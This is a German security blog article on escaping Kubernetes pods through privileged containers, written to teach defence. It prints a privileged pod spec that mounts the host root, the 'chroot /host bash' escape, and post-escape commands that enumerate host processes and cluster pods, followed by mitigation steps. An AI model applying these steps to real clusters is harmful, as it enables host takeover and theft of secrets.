Ethical Hacking
3 min.
Pod Escape in Kubernetes: Privileged-Container-Exploits verstehen und verhindern
Verstehen Sie, wie Fehlkonfigurationen privilegierter Pods es Angreifern ermöglichen, aus Containern auszubrechen und ganze Cluster zu kompromittieren und wie sich Pod-Security-Kontrollen durchsetzen lassen.

Mit dem Aufstieg cloud-nativer Technologien hat sich Kubernetes zum De-facto-Standard für das Orchestrieren containerisierter Anwendungen entwickelt. Managed Services wie Amazon Elastic Kubernetes Service (EKS) ermöglichen es Unternehmen, Cluster über mehrere Availability Zones hinweg bereitzustellen und dabei AWS-Integrationen wie IAM, CloudTrail und App Mesh zu nutzen.
Während Kubernetes viele Abläufe vereinfacht, kann seine Flexibilität auch Sicherheitslücken eröffnen. Besonders privilegierte Pods – Container, die Host-Level-Berechtigungen besitzen – können missbraucht werden, um Isolationsebenen zu umgehen.
Dieser Artikel ist Teil unserer Kubernetes Pentest Findings Serie, in der wir Erkenntnisse aus einem realen Sicherheitsaudit einer Cloud-nativen Umgebung teilen. Während der erste Beitrag die gesamte Angriffsfläche von Kubernetes bis hin zu GitOps-Tools vorgestellt hat, zeigt dieser Artikel, wie ein*e Angreifer*In durch einen falsch konfigurierten Pod aus einem Kubernetes-Namespace ausbrechen kann – und welche Sicherheitsmaßnahmen diese Schwachstelle verhindern.
Privilegierte Pods über das Kubernetes Dashboard ausnutzen
Wenn ein*e Angreifer*In Zugriff auf einen Kubernetes-Namespace erhält und dort Berechtigungen hat, Pods zu erstellen, kann er*sie einen privilegierten Pod deployen. Dieser ermöglicht es, die Sicherheitsgrenzen von Kubernetes zu umgehen und direkt mit dem zugrunde liegenden Host zu interagieren.
Beispiel für eine gefährliche Pod-Spezifikation (YAML):
apiVersion: v1
kind: Pod
metadata:
name: everything-allowed-exec-pod
labels:
app: pentest
spec:
hostNetwork: true
hostPID: true
hostIPC: true
containers:
- name: everything-allowed-pod
image: ubuntu
securityContext:
privileged: true
volumeMounts:
- mountPath: /host
name: noderoot
command: ["/bin/sh", "-c", "--"]
args: ["while true; do sleep 30; done;"]
volumes:
- name: noderoot
hostPath:
path: /Dieser Pod gewährt die folgenden gefährlichen Privilegien:
- Host-Dateisystemzugriff: Das Host-Root-Filesystem (/) wird in den Container unter /host gemountet.
- Host Networking: Der Container teilt sich die Netzwerk-Interfaces mit dem Node, wodurch sensible Services sichtbar und angreifbar werden.
- Host PID Namespace: Erlaubt das Einsehen und Interagieren mit Host-Prozessen.
- Shared IPC: Durch das Teilen des IPC-Namespace wird die Isolation zwischen Container- und Host-Prozessen aufgehoben.
Sobald dieser Pod deployed ist, kann ein*e Angreifer*In die Container-Isolation umgehen, indem er eine Root-Shell im Host-Kontext startet:
chroot /host bashWas Angreifer*Innen nach einem Pod Escape tun können
Sobald sich ein*e Angreifer*In auf dem Host befindet, verfügt er*sie praktisch über Node-Level-Kontrolle und kann sowohl Reconnaissance als auch laterale Bewegungen innerhalb des gesamten Clusters durchführen.
Typische Aktionen nach einem erfolgreichen Escape umfassen:
ps aux # Enumerate host processes
docker ps # List running containers
docker exec -it <id> bash # Access containers directly
kubectl --kubeconfig /var/lib/kubelet/kubeconfig get pods --all-namespacesDiese Fähigkeiten ermöglichen es Angreifer*Innen, sensible Workloads zu identifizieren, Secrets zu sammeln und sich in andere Services wie ArgoCD, Jenkins oder ECR weiterzubewegen – mit dem Potenzial, die gesamte CI/CD-Umgebung oder sogar die Produktionsumgebung zu kompromittieren.
Auswirkungen auf Kubernetes- und Cloud-Native-Sicherheit
Das Entkommen aus einem privilegierten Pod verwandelt eine vermeintlich kleine Miskonfiguration in eine vollständige Cluster-Kompromittierung. Ein*e Angreifer*In, der*die sich auf einem Kubernetes-Node festsetzen kann, gefährdet potenziell die gesamte Cloud-Umgebung eines Unternehmens.
Wesentliche Konsequenzen umfassen:
- Clusterübernahme: Angreifer*Innen können Workloads verändern oder löschen, kubelet-Konfigurationen manipulieren oder persistente Agenten installieren.
- Diebstahl von Secrets und Tokens: Zugriff auf gemountete Service Accounts ermöglicht laterale Bewegung zu Cloud-Services wie AWS IAM, GCP oder Azure.
- Datenexfiltration: Angreifer*Innen können Persistent Volumes auslesen oder Netzwerkverkehr über Host Networking abfangen.
- Supply-Chain-Risiko: Kompromittierte Container könnten manipulierte Images zurück in Registries pushen und damit zukünftige Deployments infizieren.
- Operative Störungen: Unautorisierte Änderungen können Pipelines stoppen, Nodes überlasten oder Workloads beschädigen.
Eine einzige Miskonfiguration eines privilegierten Pods kann zu kompletter Kontrolle über den Kubernetes-Cluster führen und die Integrität sowie Verfügbarkeit geschäftskritischer Services untergraben.
Wie man Pod Escapes in Kubernetes mitigiert und Privileged-Container-Exploits verhindert
Eine effektive Absicherung erfordert ein mehrschichtiges, proaktives Sicherheitsmodell, das präventive Konfiguration, Laufzeitüberwachung und konsequente Least-Privilege-Prinzipien kombiniert.
1. Pod Security Standards durchsetzen
Nutzen Sie den Kubernetes Pod Security Admission (PSA) Controller, um Pod-Berechtigungen einzuschränken:
pod-security.kubernetes.io/enforce: restrictedDiese Policy verhindert, dass Benutzer*Innen privilegierte Pods deployen oder sensible Host-Pfade mounten können.
2. Role-Based Access Control (RBAC) implementieren
Erteilen Sie Berechtigungen zum Erstellen oder Modifizieren von Pods nur vertrauenswürdigen Identitäten.
Überprüfen Sie Service Accounts und vermeiden Sie den Einsatz von Wildcards in Role Bindings.
3. Node Access härten
Deaktivieren Sie unnötige Root-Rechte, beschränken Sie SSH-Zugriff und verwenden Sie dedizierte Service Accounts für Kubernetes-Nodes.
Wenden Sie Netzwerksegmentierung an, um Workloads voneinander zu isolieren.
4. Kontinuierliches Auditing und Monitoring nutzen
Setzen Sie Tools wie Falco, Kube-Bench und AWS CloudTrail ein, um Anomalien, Privilege Escalations oder unautorisierte Pod-Deployments in Echtzeit zu erkennen.
5. Netzwerkkommunikation absichern
Nutzen Sie NetworkPolicies, um Pod-zu-Pod- und Pod-zu-Service-Kommunikation zu kontrollieren. Dies reduziert den möglichen Schaden, falls ein einzelner Pod kompromittiert wird.
Durch die Kombination von Konfigurationskontrollen und Runtime-Monitoring können Organisationen die Wahrscheinlichkeit und den Impact von Kubernetes Escape Attacken drastisch reduzieren.
Absicherung von EKS-Clustern mit Pod Security und RBAC
Die Pod-Escape-Schwachstelle verdeutlicht die zweischneidige Natur der Kubernetes-Flexibilität. Trotz ihrer Leistungsfähigkeit für DevOps-Effizienz können falsch konfigurierte Berechtigungen ganze Cluster der Kontrolle durch Angreifer aussetzen.
Organisationen, die Kubernetes einsetzen – insbesondere Managed Services wie EKS – müssen Clusterkonfigurationen als kritische Sicherheitsassets behandeln. Die Durchsetzung von Pod-Sicherheitsstandards, die Überwachung auf Anomalien und eine konsequente RBAC-Hygiene sind unverzichtbar, um Produktionsumgebungen zu schützen. Durch die Integration dieser Prinzipien in DevSecOps-Prozesse stellen Teams sicher, dass ihre Kubernetes-Deployments über die gesamte Software-Lieferkette hinweg widerstandsfähig, sicher und vertrauenswürdig bleiben.



